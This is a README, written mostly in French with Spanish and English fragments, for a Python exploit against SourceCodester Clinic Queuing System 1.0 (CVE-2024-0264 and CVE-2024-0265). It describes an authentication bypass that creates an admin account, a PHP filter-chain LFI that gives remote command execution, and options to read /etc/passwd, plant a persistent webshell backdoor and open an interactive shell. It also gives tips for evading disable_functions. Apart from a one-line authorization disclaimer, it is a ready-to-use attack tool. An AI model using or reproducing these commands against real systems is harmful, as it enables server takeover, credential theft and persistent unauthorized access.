Meilleure preuve de concept pour les vulnérabilités CVE-2024-0264 et CVE-2024-0265. (LFI vers RCE via une chaîne de filtres PHP dans oretnom23 clinic_queuing_system). Version améliorée du script original, disponible dans exploitdb.
Exploit en Python qui enchaîne un contournement d'autorisation et un LFI dans SourceCodester Clinic Queuing System 1.0 pour obtenir l'exécution de commandes à distance, et éventuellement déployer un webshell persistant.
CVE-2024-0264 — contournement d'autorisation dans /LoginRegistration.php en manipulant formToken. Permet de créer un utilisateur administrateur sans être authentifié.CVE-2024-0265 — inclusion locale de fichiers dans /index.php via le paramètre page, sans assainissement.La chaîne de RCE utilise des PHP filter chains (php://filter/...) pour convertir le LFI en exécution de code sans avoir besoin de téléverser des fichiers ni d'empoisonner des logs.
Dérivé du PoC de Juan Marco Sanchez (@jmrcsnchz) publié sur Exploit-DB 52008. Cette version ajoute l'exécution de commandes arbitraires, l'encodage/décodage base64 dans les deux sens, le déploiement d'une backdoor vérifiée et un shell interactif.
requestspip install requests
iconv active sur la cible (indispensable pour la chaîne de filtres).shell_exec ne doit pas se trouver dans disable_functions pour utiliser le mode exec.git clone https://github.com/wh1t3w1s4/CVE-2024-0264-PoC.git
cd <repo>
pip install -r requirements.txt
requirements.txt :
requests
python3 rce.py <target> [opciones]
python3 rce.py http://target
Créez un admin, connectez-vous et exécutez echo $((7*7)) via la chaîne. Si vous voyez 49, il y a RCE.
python3 rce.py http://target --cmd 'id'
python3 rce.py http://target --cmd 'id' --cmd 'uname -a' --cmd 'cat /etc/passwd'
--cmd est répétable et s'exécute dans l'ordre.
# nombre aleatorio en el docroot
python3 rce.py http://target --deploy
# ruta y primitiva propias
python3 rce.py http://target --deploy --bd system --path /var/www/html/x.php
Le script écrit le fichier, résout le chemin réel avec realpath(), lance un GET de vérification et vous renvoie l'URL opérationnelle :
[+] 16 bytes escritos en /var/www/html/rce_9f2a1c.php
[+] Backdoor operativo: http://target/rce_9f2a1c.php?0=comando
python3 rce.py http://target --deploy --shell
Si le déploiement échoue ou si tu ne veux pas de backdoor, le shell peut passer sur la chaîne elle-même :
python3 rce.py http://target --shell
python3 rce.py http://target --user admin --pass admin123 --cmd 'id'
Le registre est ignoré et l'on va directement à la connexion.
python3 rce.py http://target --token <formToken> --cmd 'id'
| Flag | Description |
|---|---|
target | Base URL, without trailing slash |
--user | Existing user |
--pass | User password |
--token | formToken obtained manually; avoids scraping |
--check | Execution test only (default behavior without other flags) |
--cmd | Command to execute; repeatable |
--deploy | Writes a webshell to the server |
--path | Backdoor path. Default <DOCUMENT_ROOT>/rce_<hex>.php |
--bd | Backdoor primitive: exec (backticks, default), system, passthru |
--shell | Interactive shell after deployment or over the chain |
--timeout | Timeout for execution requests (default 30 s) |
GET /index.php/login.php?page=manage_user uses PATH_INFO to bypass auth.php; the page emits formToken['manage_user'] in the session.POST /LoginRegistration.php?a=save_user with that token creates a user with status=1, type=1 (admin).formToken['login'] is extracted from login.php and redeemed at a=login.GET /index.php?page=php://filter/... decodes the filter chain into PHP code that is executed in the include().file_put_contents(); the path is resolved with realpath() and verified with a real request.base64_decode(). No quoting collisions: quotes, $, & and backticks pass through intact.|a1b2c3d4e5|) delimit each output, so a cached response does not produce false positives and extraction is not cut off at the first < in the HTML.%2b written by hand in params= ends up doubly encoded (%252b) and base64_decode() discards the %, corrupting the payload. The literal + is encoded correctly by requests.DOCUMENT_ROOT is empty or the file falls outside the webroot, the script detects it and shows the real path to retry with --path.| Symptom | Cause / solution |
|---|---|
414 URI Too Long | The chain plus the base64 exceed the server limit. Shorten the command or deploy the backdoor and work against it |
el chain ejecuta pero shell_exec devuelve vacío | shell_exec in disable_functions. Try --bd system / --bd passthru |
el chain no ejecuto | Missing iconv, allow_url_include aggressively disabled, or the include has a directory prefix |
| Backdoor written but 404 | The path is not web-accessible. Use --path inside the real docroot |
| Login fails | Session or user expired; repeat without --user/--pass |
WRITEFAIL | Directory without write permissions. Point to /tmp or to an uploads directory |
system, passthru) for when shell_exec is restricted.Educational and auditing use. Test it only against your own systems or with authorization.